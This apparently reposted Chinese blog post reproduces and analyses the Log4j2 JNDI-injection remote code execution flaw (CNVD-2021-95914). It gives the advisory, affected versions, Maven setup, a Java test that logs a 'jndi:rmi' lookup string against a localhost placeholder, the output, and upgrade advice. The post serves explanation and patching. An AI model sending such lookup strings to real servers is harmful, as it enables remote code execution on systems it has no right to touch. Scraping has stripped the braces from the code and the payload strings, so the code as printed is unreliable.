Log4j2高危漏洞CNVD-2021-95914复现及分析
Posted lizz666
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Log4j2高危漏洞CNVD-2021-95914复现及分析相关的知识,希望对你有一定的参考价值。
漏洞描述
安全公告编号:CNTA-2021-0033
安全公告编号:CNTA-2021-0032
2021年12月10日,国家信息安全漏洞共享平台(CNVD)收录了Apache Log4j2远程代码执行漏洞(CNVD-2021-95914)。攻击者利用该漏洞,可在未授权的情况下远程执行代码。目前,漏洞利用细节已公开,Apache官方已发布补丁修复该漏洞。CNVD建议受影响用户立即更新至最新版本,同时采取防范性措施避免漏洞攻击威胁。
一、漏洞情况分析
Apache Log4j是一个基于Java的日志记录组件。Apache Log4j2是Log4j的升级版本,通过重写Log4j引入了丰富的功能特性。该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息。
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
CNVD对该漏洞的综合评级为“高危”。
二、漏洞影响范围
漏洞影响的产品版本包括:
Apache Log4j2 2.0 - 2.15.0-rc1
附:参考链接:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
关于Apache Log4j2存在远程代码执行漏洞的安全公告
复现代码
log4j-core.jar引入
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.lizz</groupId>
<artifactId>parent-tester</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<skipTests>true</skipTests>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.13.3</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
或引入spring-boot-starter-log4j2,依赖的也是log4j-core.jar
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.lizz</groupId>
<artifactId>parent-tester</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<skipTests>true</skipTests>
</properties>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.3.4.RELEASE</version>
<relativePath/>
</parent>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
测试用例
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
/**
* @description: LogBugTest
* @author: lizz
* @date: 2021/12/14 14:51
*/
public class LogBugTest
private static final Logger logger = LogManager.getLogger(LogBugTest.class);
public static void main(String[] args)
String msg="$java:hw";
logger.info("log ",msg);
logger.error("$jndi:rmi://127.0.0.1:1099/xxxx");
输出结果:
15:43:21.900 [main] INFO com.lizz.LogBugTest - log processors: 4, architecture: x86_64-64
2021-12-14 15:43:21,933 main WARN Error looking up JNDI resource [rmi://127.0.0.1:1099/xxxx].
- $java:hw输出了服务器cpu信息
- jndi:rmi可以远程加载外部类,使用可以执行外部想要你执行的命令,漏斗所在。
- 标识可以执行特殊命令
修复建议
- 如果使用spring-boot默认logger,可以发现依赖的是logback,不存在log4j2-core的漏洞,不需要修改。
- 查看依赖树,使用了log4j2-core包,可以将log4j2-core升级为>=2.16.0即可。
以上是关于Log4j2高危漏洞CNVD-2021-95914复现及分析的主要内容,如果未能解决你的问题,请参考以下文章